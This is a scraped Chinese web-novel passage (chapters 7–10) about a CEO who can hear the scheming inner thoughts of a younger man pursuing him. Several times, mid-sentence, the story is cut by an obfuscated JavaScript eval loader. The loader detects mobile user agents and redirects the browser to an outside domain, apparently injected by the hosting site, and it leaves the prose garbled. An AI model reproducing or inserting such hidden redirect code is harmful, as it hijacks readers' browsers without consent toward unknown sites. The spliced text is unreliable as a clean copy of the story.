《不走剧情后被阴湿绿茶攻了》 7. 心思单纯 下车收到的消息是柳今需发来的提醒,知道他调查过闻湫,不管这其中有没有恶意,柳今需作为朋友总要提前说一句。 包厢的隔音很好,他在外面站了两分钟之久,没有听到里面有其它声音传出来。 季时昱了解岳裎,这是他们四个人常来的地方,岳裎趁上次聚会给他们介绍过了,应该不会再主动带闻湫来。 他抱着疑惑推开了包厢的门。 “说曹操曹操到,”岳裎喝了酒,这会儿有点小醉,笑了一声,说话像肿了舌头,吐字不清晰:“我们正聊你呢。” “聊我什么?”季时昱瞥到了闻湫的身影,没有刻意去看。 他找了个位置坐下,端了杯桌上的橙汁喝了两口。 鲜榨的,不怎么甜。 “聊你今晚上参加酒会的事,被人拍了视频都不知道。”岳裎掏出手机翻了翻,忽然“咦”了一声,“这么快就下架了,我还以为要等一晚上呢。” 季时昱:“知道被拍了,打了电话处理。” 岳裎:“不得不说你和展绮今晚简直碾压全场。” “没那么夸张。”展绮看向季时昱:“你好像第一次出席这样的酒会,最近有烦心事?” 有很多人邀请季时昱出席各种各样的酒会,他都没有露过面,尤其是今晚这种场面,有名气的明星不止一个,在场的媒体记者少不了。 “烦?”岳裎关心道:“是工作上的事?” 柳今需往闻湫那里看了一眼。 季时昱摇头。 “不说这个了。”岳裎转头对闻湫说:“你不是说想谢谢时昱上次送你一程吗,趁着今晚以果汁代酒敬一杯,就当感谢了。” 他记得闻湫今天在饭桌上说了不怎么喝酒,上次还听他的话乖乖敬酒。 这孩子太老实了,不多照看着容易被欺负。 季时昱察觉到闻湫看了过来。 柳今需笑了声,故意打趣道:“这么急着把表弟往时昱那儿塞啊。” 他们清楚岳裎不是那样的人,所以这话听着就变了意思,像是闻湫特别想讨好季时昱。 季时昱抬眸扫了眼里面的位置。 闻湫嘴角挂着淡淡的笑意,好似没听懂这些话, “什么啊,闻湫今晚在我们家吃饭,展绮打电话的时候我爸就在旁边听着,我爸让他跟我来的,你们可别误会,他心思单纯着呢,想不了那么多。”岳裎是个讲道理的人,在没有证据之前不会冤枉任何人。 季时昱垂眼。 单纯吗? 这时候,闻湫端着果汁站起来,对季时昱笑了一下,嗓音清亮:“昱哥,谢谢你上次送我一程,我敬你一杯。” 季时昱没驳了他的面子,端起酒随意喝了一口。 “闻湫,你明天有课,要是困了就回去睡,司机会送你,别跟着我们硬熬。”经过几天相处,岳裎已经有了当表哥的自觉。 而且他觉得闻湫这个表弟听懂事的,愿意多照顾一下。 闻湫微笑:“没关系,我起得来。” 他这么说了,岳裎也不说让他回去的话了,端着酒跟季时昱抱怨家里的事。 聚会结束,季时昱没分清自己醉没醉,眼前隐约出现了重影。 展绮在结束前接到助理的电话,先一步走了。 柳今需没喝酒,本来想扶一把季时昱,没想到醉酒的岳裎想起了某位前任,因柳今需去年出国见过他的前任,岳裎现在正抓着柳今需的手臂不放,嘴里一直问着关于前任的状态。 他不忘回头对闻湫说,“小湫,时昱也醉了,你去扶一下。” “不用。”季时昱身体晃了下,及时扶住了沙发靠背。 岳裎看他站不稳,大手一挥:“湫儿!快去扶你昱哥!时昱你也是,不用跟我客气,我表弟就是你表弟!” 无人在意的角落里,闻湫眼底闪过一抹亮意,走到季时昱身边准备扶人,被一只手拦下了,同一时间,怀里塞了个人。 柳今需把岳裎推到闻湫身边,“你扶着你哥,时昱醉酒后有点不老实,我扶他就行。” 季时昱淡定道:“嗯,我会耍酒疯。” 闻湫扶住了岳裎,眼巴巴地盯着季时昱看。 岳裎没有反应过来,以为自己还拉着柳今需,不停的问前任过得好不好。 闻湫看着走在前面的两个人,眼神稍冷,虽然只是最普通的扶人姿势,但他依旧看不惯,瞅了眼醉熏熏的表哥,低声说:“哥,我不是柳今需。” 岳裎没听清,扯着嗓子问:“啊?你说什么?” 闻湫叹声气。 柳今需右手轻轻托着季时昱的手臂,凑在他耳边问:“你不讨厌闻湫吧?” 进包厢之前,他特意发了信息提醒,但季时昱还是进来了,按照季时昱的脾气,如果里面坐着讨厌的人,绝对不会勉强自己进去脏眼睛。 可季时昱进去了,不就证明他不讨厌闻湫。 至于为什么调查闻湫,柳今需始终没猜出来。 季时昱没有醉,把柳今需的话听进耳中,想了一会儿,说:“季忱最近跟他走太近了。” 柳今需听过季忱的事迹,前几年在初中被当提款机使了都不知道。闻湫的条件不需要这个提款机,不知道会不会有其他的目的。 “我说呢,原来是怕弟弟被骗。”柳今需还是觉得哪里不对,但他想不通。 季时昱没有多说。 他们俩说悄悄话凑太近了。 闻湫面无表情地盯着前面的两道身影,稍不注意踩到了岳裎的脚。 岳裎:“柳今需你怎么回事,我不就问你几个问题吗,至于这么小气的来踩我脚报复?” “对不起,我没留意。”闻湫大大方方道歉,委婉提醒:“哥,柳今需在扶昱哥呢。” 可能是刚才那一下子踩清醒了,岳裎闻言抬头,看了眼闻湫,又转头去看前面的两个背影。 “……” 闻湫眨着无辜的眼睛,微微一笑:“表哥,你清醒了吗?” “我自己走。” 岳裎推开闻湫,刚走了两步就靠着墙滑倒在地上。 “哥,你没事吧!”闻湫惊声喊道。 动静太大了,惊动了前面的两个人。 柳今需和季时昱同时回头,看到了靠墙坐在地上的岳裎,还有一脸着急的闻湫。 柳今需松开手,朝他们那边走去,“岳裎怎么了?” 闻湫抬起头,目光越过柳今需落在后面的季时昱身上,无措道:“我哥不让我扶。” 岳裎靠着墙喊前任的名字,哭丧着脸道:“柳今需你是不是兄弟,跟我说说他的事很难吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814602|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柳今需:“……” “今需,你去扶他,别让他闹了。”季时昱扶着墙站在原地,眼前的重影又多了。 “行。”柳今需清楚岳裎酒后闹腾的性子,不放心季时昱一个人走,对闻湫说:“小湫弟弟,你扶着时昱,他喝多了,一个人没办法走。” 闻湫说了声好,走到季时昱面前,跃跃欲试伸出了手,不安道:“昱哥,我、我可以吗?” 他这样子,好像很怕被拒绝。 “……嗯。”季时昱实在走不稳。 闻湫如愿以偿扶着季时昱先走了。 进电梯时,柳今需和岳裎没能跟上。 这个时间点并没有多少人,再加上他们要乘坐的电梯是有权限的,没那么容易遇到跟别人同乘电梯的可能。 等季时昱意识到独处加封闭空间可以听到闻湫心声的时候,电梯门已经合上了。 【谁都别想阻止我接近哥哥。】 【不按照原书剧情发展没关系,所有的一切是假的也没事,我可以给自己制造机会。】 【我会让发展回到原来的轨迹上。】 季时昱闭了闭眼,心里叹息,“闻湫。” 闻湫歪头看他,“昱哥?” 季时昱问:“你有没有什么梦想?” 闻湫一怔,迟疑道:“我希望未来有一天,能跟昱哥站在一起。” 【当然是,得到本该属于我的爱。】 季时昱:“跟我……站在一起?” 世上没有本该属于谁的爱。 “不是,”闻湫好似怕他误会,连忙摇头,解释道:“我的意思是,希望能成为昱哥这样的人,和你站在一样的高度。” 【就是想站在一起啊。】 季时昱面上不露破绽,“以后想留在A市发展?” 闻湫:“嗯,我想在A市定居。” 【和哥哥住在一起。】 季时昱挣开他的手,独自靠在一侧,“你家在S市,家人亲人包括从小玩到大的朋友都在S市,没有想过回S市发展吗?” 闻湫不语,内心却不平静。 【他不想我留在A市。】 【他讨厌我?】 闻湫垂着眼,声音很轻:“我哥我姐比我有出息,我爸妈经常说我不如他们,家庭聚会上总喜欢训我一顿,我不想留在S市,那里有太多不好的记忆了。” 季时昱沉默。 他知道闻湫说的是实话,柳今需带给他的那份资料里显示了闻湫的家庭关系,不能说差,但绝对算不上好。 不是争家产的问题,更不是闻湫不优秀,而是闻湫的哥哥姐姐太优秀了。 资料里显示,早几年闻湫考试考砸了,闻湫的父亲让他脱了上衣,亲自用皮带抽。 闻湫的母亲心疼归心疼,为了让闻湫记住教训而努力上进,在一旁目睹全程没有阻止。 季时昱当时没有想到会看到这些。 对于闻湫的回答,他不知道该怎么安慰,甚至下意识忽略了闻湫的心声。 没等季时昱纠结太久,电梯开了。 闻湫伸手抹了下眼角,笑道:“昱哥,我扶你出去。” 季时昱没有拒绝,跨出电梯的那一瞬间,发现闻湫的眼睛红了。 他手指微动。 这是哭了? 8. 喜欢的人 司机早开着车在外等候,闻湫认得那辆车,将季时昱扶到车前,打开车门。 “昱哥,快上车吧。” 季时昱看着闻湫发红的眼角,眼里留着没有消失的泪光,声音放缓:“抱歉,我没想到会提起让你伤心的事。” 闻湫摇头:“是我自己太软弱了,什么事都藏不好,时间太晚了,昱哥回去早点休息,我要去找我哥的车了。” 季时昱看着闻湫离开,眼底闪过不明的情绪。 他关好车门,司机开车离开。 站在暗处的闻湫亲眼目睹那辆车消失在黑夜里,掏出手机给朋友发了消息。 【最近还有人调查我吗?】 对面回复很快:【没有。】 闻湫的手指在屏幕上飞快打字。 【我以前被我爸打的事确定透露出去了?】 那边秒回:【那肯定的啊,我办事你还不放心?不过你怎么回事啊,以前发生这种事都瞒着我们,现在却主动暴露,不怕被笑话了?而且伯父伯母不喜欢家丑外扬,他们知道了会生气的。】 【透露给自己人了,不是外人。】 闻湫发完消息,接通岳裎打来的电话。 “你在哪儿呢,怎么不上车?” “我回学校,已经打到车了,今晚麻烦表哥了,如果下次展绮哥再来A市,你一定要告诉我,刚才忘记合照了。” 虽然这次是岳裎的父亲让闻湫跟着来的,但岳裎一开始没有答应,是闻湫单独找他说了喜欢展绮,还说想和展绮合照,并且希望岳裎能够帮他保密,岳裎当然说到做到。 “这有什么,不过展绮每次回来我们都要小聚一下,那么多人在场你肯定不自在,确定不考虑和展绮单独见面?” “不用了,展绮哥是我偶像,我不想破坏我偶像对我的印象,而且我也不想打扰你们和昱哥聚会,我下次努努力,肯定能主动跟展绮哥合照的。” “你就是太懂事了,那先这样吧,我快困死了,得眯一会儿。” 闻湫把手机放兜里,走到路边等车,哪怕吹着风,心情都好的不得了。 天冷了,温度持续降低。 季时昱穿了身薄款羽绒服,走在他身边的人低声说着自家老板的行程。 茶水间内,几个年龄相仿的男女正凑在一起八卦。 “他就是季氏的总裁?好年轻啊。” “毕竟才二十五。” “更心动了,让我梦一个霸道总裁爱上我。” “别瞎想了,我听说季总有喜欢的人了。” “什么什么?是谁啊?” 话题挑起了一帮人的兴致。 “现在是上班时间,别议论工作以外的事,再让我听到扣工资。”快要秃顶的精明男人走过来提醒八卦的人。 茶水间瞬间安静。 男人推了推眼镜,转身快步走到季时昱身后,含着歉意道:“真是不好意思,希望您别放在心上。” “没事。”季时昱经常听到这些话,早习惯了,但有件事他有点在意。 他什么时候有喜欢的人了? 到了办公室,男人推开门请季时昱进去,“柳总待会儿就回来了,您在这儿等一会儿,您想喝什么,我让人给您送进来。” 季时昱:“白开水。” “好的,您稍等片刻。” 没过多久,有人送了杯温白开进来。 季时昱喝了口水,找人调查是谁在乱传他的事。 时间缓缓流逝,半个小时过去,柳今需推门而入。 季时昱收到了调查的结果,眼中闪过一抹异色。 柳今需:“你今天找我什么事?” 季时昱放下手机,“好事,我们慢慢谈。” 两个人在办公室待到了晚上。 谈完事情,柳今需提议道:“这么晚了,一起吃顿饭吧。” 季时昱揉了揉泛酸的手臂,望着窗外的夜景,点头答应,“行。” 柳今需公司的位置不错,附近有很多餐饮店,他们在饮食上没太多要求,只要味道好其余都能接受,于是选了家人比较多的店。 “我昨晚看到伯母发的朋友圈了,她和伯父在国外还没回来?”柳今需端着小茶壶倒水。 季时昱随意应了一声,打开许久不点一次的朋友圈。 这是他的私人账号,里面都是亲戚朋友,刷了一会儿觉得挺有意思的。 季时昱看到他外公发的照片,笑着点了个赞,再往下滑,唇边笑意淡了下来。 闻湫:好几天不见面,想他。 岳裎点了赞,在下面评论:这么快就有喜欢的人了,你小子可以啊,争取早点追到手。 闻湫回复:会的,到时候让表哥坐主桌。 岳裎:我坐主桌不合适吧。 闻湫没回。 季时昱点进了闻湫的头像,再点进朋友圈。 闻湫前几天发了张手心擦伤的照片。 闻湫:不小心摔了一跤,崴了脚,手擦伤了,有点疼QwQ【图片】 季时昱看到后面的颜文字,脑中闪现出闻湫那天哭了的模样。 这条下面没有岳裎的点赞,他怀疑仅他可见,但是没有证据。 他退了出去,没接着胡思乱想。 服务员走了过来,掀开锅盖,拿着勺子在锅里翻拌几下,问:“二位吃不吃葱花香菜?” 柳今需:“都放。” 服务员抓了把葱花香菜撒进锅里。 季时昱抬眼看柳今需,“你最近有没有听说过一些关于我的传言?” 柳今需笑了,“你终于听到了。” 季时昱:“怎么不告诉我。” “我拖人查了一下,还是决定等你自己发现。”柳今需抿了口热茶,“你准备怎么办,制止这场谣言还是去找传播谣言的主人呢?” 季时昱漫不经心道:“随便吧,不想管了。” 服务员把锅盖盖上,说:“再闷五分钟就好。” 人走后,柳今需说:“看来你早就知道他是冲着你来的。” 季时昱笑而不语,他是在会所那晚正式跟闻湫见面时确定的,一直装作不知道罢了。 谣言是从一场生日会上传来的,生日的主角是闻湫同专业的同学。 事情的经过是闻湫和那几个同学在玩真心话大冒险,轮到其中一个富二代的时候选了真心话,别人问富二代喜欢的人是谁。 大家都知道富二代有个放在心里很多年的人,趁着今天问了出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814603|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 富二代没什么遮掩,认为大家不认识季时昱,所以说出了季时昱的名字,没有介绍身份。 事情如他所想,身边的同学的确不认识季时昱,富二代刚松了口气,接下来就被人告知季时昱有喜欢的人了。 说话的人不是闻湫,而是坐在闻湫身边的人。 “我听说过他,我记得他有喜欢的人了,”那人说完,用胳膊肘戳了戳闻湫,“是不是啊闻湫?” “好像是,我不确定。”闻湫态度冷淡。 那人对富二代笑道:“兄弟你好惨啊,还没告白就失恋了。” 富二代:“没在一起,只要不结婚我就有机会。” 闻湫所在的地方有点暗,完美掩饰住眼底的阴狠,说出的话却很天真,“你这样是不道德的。” 富二代毫不在意:“有喜欢的人又不是在一起了,怎么不道德了。” 闻湫当时却笑了:“说不定他喜欢的人也喜欢他呢,你这样横插一脚像个第三者。” 富二代差点跟闻湫打起来,好在身边的朋友及时转移话题。 调查的人之所以能查这么清楚,是因为直接找上了富二代本人询问那天的事情。 富二代是个聪明人,被人找到问了几句话,猜到是季时昱在调查。他问:“季总真有喜欢的人吗?那他喜欢的人喜欢他吗?” “无可奉告。” 这是调查的人给出的回答。 闻湫当时没有把话说明确,那天之后也没有提过,算不上真正传谣的人。 但富二代放在心上了,那天后到处打听,谣言就这样传出来了。 柳今需是找人问了那天过生日的同学,他查到了故意不说,想看看季时昱什么反应。 “真不澄清?” “就这样吧。”季时昱有自己的打算,他这两年没少碰到别人给他介绍对象的事。 很多人希望能跟季家联姻,有时谈完合作会不经意提一嘴自家的孩子。 几次大型酒会上,有人专门带孩子来到他面前,那些小辈很听长辈的话,会适当在酒会上吸引他的注意。 他不喜欢这样,有这么个谣言挡着,能帮他解决不少事情。 柳今需缓缓点头:“行,反正是你的事,你说什么就是什么。” . 季时昱过了两天轻松的日子,周六晚上有场应酬,他按照约定好的时间来到酒店,谁知碰到了季帆嵘。 季帆嵘按了26层的电梯键,转头问他:“几楼?” 季时昱:“27。” 季帆嵘按下去。 电梯门合上,叔侄俩安静地没有任何话要说。 快要到达26楼的时候,季帆嵘笑道:“你这孩子每天真够忙的。” 电梯就那么大,季帆嵘的声音一点没压着。 “至于这么防着我吗,我能留在季氏帮你,你不也轻松点儿。不是我想责怪你,我回A市有段时间了,就没见你回过老宅,躲我可以,但你要多关心一下你爷爷。” “以前有些事是我做得不对,但我不改了吗,你这么大个人了还斤斤计较,有点儿小心眼了。” 季时昱面不改色,无视了个彻底。 季帆嵘看到季时昱这么平静,脸上有点挂不住。 9. 仅他可见 季帆嵘憋了一肚子的话,没能说完就到了26楼,他皱眉瞥了季时昱一眼,叹声气快步走出去。 季时昱到了27楼,守在电梯外面的工作人员询问他包间名字,随后带他往包间走。 今晚这场应酬没有多麻烦,聊完正事,有人开始敬酒。有人敬到季时昱,他摆了摆手,表示不能喝,其余人便下意识跳过了他。 季时昱听他们互相敬酒,有些无聊,默默点开了闻湫的朋友圈。 最新一条是昨天晚上发的照片,照片里是闻湫的手。骨节分明,修长的手指微微蜷起,银灰色的床单衬得手很白,手腕上戴了个黑色的手工编织手绳。 没有文字,只有这张照片,让人不知道在表达什么,也可能是在单纯秀手。 季时昱看了一会儿,不得不承认闻湫的手挺好看的。 闻湫发的朋友圈不多,其中几条下面有岳裎的点赞,但这条没有,他不确定是不是仅他可见。 其他老总聊着生意上的事,季时昱点开那张照片反复观看。 看了一会儿正要返回,耳旁响起一道惊呼,紧接着有人撞到了他的肩膀,手机从手中脱落,打翻了旁边的酒杯,上面仅剩不多的酒水洒在了手机屏幕上。 这一切发生的太突然,季时昱还没有说话,旁边的人赶忙道歉。 “哎哟对不起对不起!” 撞人的老总满脸惶恐,苦着一张脸赔笑:“我喝多了,没注意崴了一下脚,季总您没事吧?” 包间里安静了下来,其他人看戏一样看着这一幕,没有一个人帮忙说话。 “没事,喝醉了注意点儿。”季时昱平静抽了张纸,擦净手上和手腕的酒水。 “是是是,我往后一定注意。”老总急着上厕所,又连说几声对不起就赶忙走了。 大家没看到好戏,多少有点失望,在场都是老奸巨猾的人精,各个面不露色地接着聊生意。 季时昱擦干净手,抽了张纸去擦手机,垂眼一看,眸光蓦地凝住。 那张照片,他点赞了。 不知道是手滑还是酒水的缘故,或许都有。 他停顿片刻,拿纸擦干净屏幕上的酒,想取消点赞,又觉得这样太刻意了。 算了,点都点了。 他把手机放到一旁,没心情玩了。 那位老总回来后说了很多赔不是的话。 季时昱随口应了几声。 他回到住处的时候已经很晚了,睡前接到了季忱的电话。 “哥,你有没有空闲不常去的房子,我有个朋友想搬到校外住,钱不是问题,住得舒坦就行。”季忱那边响着劲爆的音乐。 季时昱忽略了他的话,皱眉道:“你在酒吧?” “是啊哈哈哈,”季忱心虚笑几声,放低声音:“有个朋友失恋,陪他出来喝点,那个房子的事……” 季时昱摘下腕上的手表,“哪个朋友?” “你没见过,他……” “我问你租房子的是哪个朋友。” “哦,这个你认识,是上次去我们家的那个,你留他住了一晚上,就是岳哥的表弟,有一次你还专门送他回学校,你应该没忘了吧。”季忱觉得他哥忘不了。 季时昱:“忘了。” “啊?你忘了?”季忱有点不信。 手机里的声音忽近忽远,那边隐约传来一句:“什么忘了?” “没什么,”季忱咳了声:“忘了也没事,哥,你那里有闲置的房子吗?” 季时昱:“你们学校附近那么多出租房都不错,没必要租太远的。” “不行,我们学校附近好多串串房,不安全,我都答应帮我朋友找房子了。”季忱叹道:“哥,你肯定不会让我难堪的吧,再说了你有那么多房子呢,随便找个不怎么喜欢的租给他,我保证他不会把里面搞得一团糟的。” 季时昱垂眼,手指轻敲着桌子,“你上次去找我的那套房子,我把密码发给你,你有时间带他去看,合同走你名下。” “好好好,我就知道我哥最善解人意了!” 挂了电话,季时昱想起今晚点的赞,伸手扶额,过了一会儿,手掌下移捂住了脸。 有点尴尬。 . A市连刮了几天比较大的风,路边枯枝被吹得摇晃不断。 季时昱为了防止自己手滑,不打算再点进闻湫的朋友圈,他没有刷这些的爱好,没过多久就把那天的事抛在脑后。 柳今需白天找季时昱和岳裎查了点事,晚上吃过饭又去了老地方。 柳今需问岳裎:“你表弟怎么没跟来?” “这是我们的聚会,总带他过来像什么话。”岳裎心想,人家上次是为了看偶像,这次展绮都不在,叫了肯定不来。 柳今需似笑非笑:“你还知道这是我们几个的场子。” “是我办事不妥,我自罚三杯行了吧。”岳裎开了瓶烈酒,拿着杯子倒酒,倒满后猛地喝下去一大半,接着满上,再去给他们倒酒。 柳今需接了酒,说:“不是说不能来,你知道时昱不喜欢别人靠关系进季氏,结果你给他送了这么一个人,连着两次带到他面前,换成你的话,你能高兴?” “要不是我爸千叮咛万嘱咐,我不会带他认识你们,我又不是菩萨。”岳裎把酒推到季时昱那边,“有一说一,跟他相处起来挺舒服的,他情商不错。” 季时昱端起酒喝了一口。 岳裎笑到:“这小子还搞纯爱呢,母单19年,今年遇到喜欢的人了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814604|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >季时昱抬眼,手指摩挲着冰凉的玻璃杯,“你怎么知道?” 岳裎觉着那些没什么见不得人的,直接打开手机,点进闻湫的朋友圈放桌上让他们看,“你们自己看。” 季时昱拿起手机往下滑,没有看到那张照片。 果然设置了仅他可见。 柳今需凑过来看着闻湫的朋友圈,眼神却往季时昱身上瞟。 季时昱察觉到那道目光,“你看我干什么?” 柳今需:“他喜欢的人会不会就是你?” 季时昱被酒呛到,及时转头,半掩着嘴咳了几声。 岳裎笑了:“怎么可能,你瞎想什么呢,闻湫才见过时昱几次啊。” 柳今需:“说不定一见钟情呢。” 岳裎:“不可能。” 显然,他们都不相信一见钟情。 柳今需:“他真的母单到现在?” 季时昱拿纸巾擦了擦手,同样好奇这个答案。 岳裎一脸莫名其妙:“我骗你们干嘛。” 柳今需:“有点不可思议。” “有什么不可思议的,时昱比他大那么多,不也是母单。”岳裎问季时昱:“你为什么不谈?” 季时昱淡定道:“没有合适的。” 岳裎想起柳今需的猜测,怕季时昱介意,笃定道:“闻湫藏不住心思,我能看出他不喜欢你,你别把今需的话放在心上。” 季时昱眼底闪过一丝笑意:“这么肯定?” 岳裎:“你们才几面啊就喜欢,绝对不是你。” 季时昱端着酒杯仰头喝了两口,“好啊,我信你。” 他们聚到很晚,基本都喝醉了,是司机来包厢扶他们出去的。 到了车里,季时昱睁了睁眼,含糊吐出一处住宅的名字。 司机把车开到楼下,回头一看发现季时昱睡着了,下车绕到后面,拉着季时昱的手臂架在肩膀上,两个人踉踉跄跄地往电梯走。 他知道季总住在多少层,也知道密码,路上没有问东问西。 过了一会儿,他们到了门口,司机输入密码。 门开了,里面的灯光亮着。 司机疑惑了片刻,没多想,知道季时昱不喜欢别人进里面的房间,他把季时昱扶到沙发上,“季总,我先回去了。” 季时昱没有吭声。 司机倒了一杯水放到茶几桌上,转身走了。 季时昱躺在沙发上逐渐熟睡。 过了许久,卧室的门开了,穿着浴袍的闻湫擦着头发走出来。 他打了个哈欠,走到客厅看见了沙发上正面仰躺着的人,擦头发的手指顿住,默默拿下毛巾,放轻脚步走向了沙发。 屋里很静,只剩下季时昱平稳的呼吸声。 10. 公司避雨 季时昱今天没有戴眼镜。 闻湫见他的时候多半戴着眼镜,眼睛被镜片遮掩,给人一种不近人情的冰冷感,现在没有镜片挡着,眉眼比平常柔和了几分。 闻湫蹲在沙发旁,伸手摸了摸季时昱的脸,轻声说:“哥哥怎么能忘记房子租出去的事情,万一这里住的是别人怎么办。” 沙发上的人闭着眼睛,听不到他说话。 “这么毫无防备,以后不要在别人面前喝醉了。” 闻湫握住了季时昱的手,手指慢慢扣在一起,“哥哥喜欢我的手吗?” 依旧等不到任何回答。 他盯着季时昱的睡颜,眼里染上了几分执拗的贪欲,“反正我喜欢哥哥的一切。” 夜晚悄然无声地流逝。 季时昱醒来时头痛欲裂,捂着头坐起来,盯着房间里的装修看了好久,眼神慢慢变得清明。 他怎么跑这儿来了? 掀开被子下床,发现身上穿着一套眼熟的睡衣。 他房子租给闻湫之前,找人把这里收拾了一下,衣服和私人用品什么的都拿走了,这套睡衣应该是遗漏在哪个角落了。 季时昱试着回想昨晚的事情,一点印象也没有,连他怎么回来的都忘得一干二净。 他了解喝醉后的自己,这套睡衣绝对不是他自己换上的,更不可能是司机帮忙换的。 所以只有一个人…… 季时昱抿了抿嘴,拿手机看了眼时间,微信里是闻湫几个小时前发的消息。 【昱哥,你的衣服我昨晚帮你洗好晒在阳台了,你醒来的时候应该能干。】 【桌上有我自己做的早餐,你可以在微波炉热一下,我去学校了。】 得知闻湫在学校,下意识松了一口气。 季时昱去阳台收了衣服,回屋换好,想起昨晚是闻湫帮忙换的睡衣,眉头皱了下。 他从房间里出来,随意扫了眼餐桌上的食物,发现跟外面卖的一样精致。 闻湫自己做的? 季时昱迟疑几秒,走到桌旁拿起干净的筷子,尝了一口凉掉的糕点,味道跟附近某家早餐店的味道一模一样。 他确定这顿早餐不是闻湫做的。 不过洗衣服这事儿确实做得不错。 季时昱有轻微洁癖,昨晚喝醉了酒,再让他穿上带味道的衣服肯定受不了。 他没有接着吃凉掉的早餐,打电话让司机来接他。 季时昱在公司忙了快一整天,下午的天阴得发黑,外面不知何时下起了小雨,他接到了闻湫打来的电话。 电话那边喊了声昱哥。 “什么事?”他直言道。 闻湫:“你手表忘我这里了。” 季时昱翻阅着文件,“你在家吗,我让人去取。” “不用那么麻烦,”闻湫笑了声,“我要去商场,可以顺路给你送过去。” 季时昱:“好,你到了放前台就行。” 闻湫没有说话。 季时昱等了一会儿,问:“还有事?” “我已经在楼下了,”手机开着免提,清晰听到电话那头的人呼出了一口气,“打车来的,车刚走。” 季时昱抬起头,望着外面下着阴雨的天,默了一会儿,说:“上来避雨吧。” “谢谢昱哥。” 电话挂断,季时昱联系前台交代了几句话。 没过多久,关秘书敲响了门。 “季总,人来了。” “让他进来。” 下一刻,闻湫推门而入。 他在外面淋了点雨,头发微湿,柔软的发丝贴在额头,或许是冻太狠了,鼻子有些红,脸色白的不像话。浅色的外套上残留着雨滴印子,穿太薄了,又在楼下淋了雨,进来的那一刻似乎打了个寒颤。 “我没想到中途会下雨,给你添麻烦了。”闻湫关好门站在门后,低着头,微微发抖的肩膀显得整个人脆弱极了。 季时昱看了他好一会儿,瞥开目光,拿起电话,“送杯热水上来。” 办公室里有扇窗户开着,这个方向并不会有雨水扫进来,是季时昱在闻湫上来前打开的。 季时昱看闻湫站在那儿不动,开口道:“随便坐。” 闻湫眨了眨沾了雨水的睫毛,水珠滴进了眼睛里,迅速泛起不适的红血丝,好似快哭了一样。 他走到季时昱面前,将一个手表盒子放在桌上,声音有点哑:“我找盒子装起来了,没有淋到雨。” 季时昱眼皮微抬,视线落在闻湫的手上,手背不知道在哪儿蹭破了皮。 他垂目,弯下身,拉开了办公桌最下面的抽屉,“你过来。” 闻湫有一瞬疑惑,低头看到手背的伤口,迫不及待地绕过办公桌走到季时昱身边,看他的眼睛贼亮,还特意伸出了受伤的那只手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814605|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季时昱把碘伏棉签和创口贴放到桌上,“自己处理一下。” 这是看在大老远送手表的份上,他没有别的意思。 闻湫眼底的失望转瞬即逝,“谢谢昱哥。” 他拿着桌上的东西去了沙发那里。 季时昱接着忙工作。 几分钟后,有人端着热水进来,专门放到闻湫面前,一句话没说就走了。 半小时不知不觉过去,外面的雨还在下。 “昱哥,你这么忙,我在这儿太打扰了,不然我还是回去吧,”闻湫捧着早就凉掉的纸杯,“虽然我手机在刚刚没电关机了,但是楼下打车很方便的。” 季时昱扫了眼外面的雨,皱起眉,“晚点我送你。” 雨下大了,能否迅速打到车纯看运气。 闻湫乖乖点头:“谢谢昱哥,你人真好。” 不知道过了多久,季时昱终于完成了手头的工作。 他站起来,拿起椅子靠背上的外套穿上,“走吧,先送你。” 闻湫应了一声,安静跟在季时昱身后。 他比季时昱高出一些,低垂着脑袋跟在后面,像做了错事似的,引得关秘书和其他工作人员频繁转头看他。 季时昱在跟岳裎聊天,没顾得上其他人的眼神。 真是奇怪了,岳裎居然知道闻湫在他这里,他问岳裎怎么知道的。 岳裎:【他跟我说你手表忘他那里了,让我帮忙转交给你,我快忙死了,就让他自己去送,谁知道现在下雨了,他没淋雨吧?】 季时昱没回消息。 电梯合上,闻湫的小心思也暴露了。 【一定是我没发挥好,哥哥的态度好冷淡。碰到这种机会不容易,不知道还有没有下次。】 听到这话的季时昱毫不意外,他早知道事情没那么巧。 默默听了一路,等电梯到达地下停车场,电梯门向两边打开,那道声音才消失。 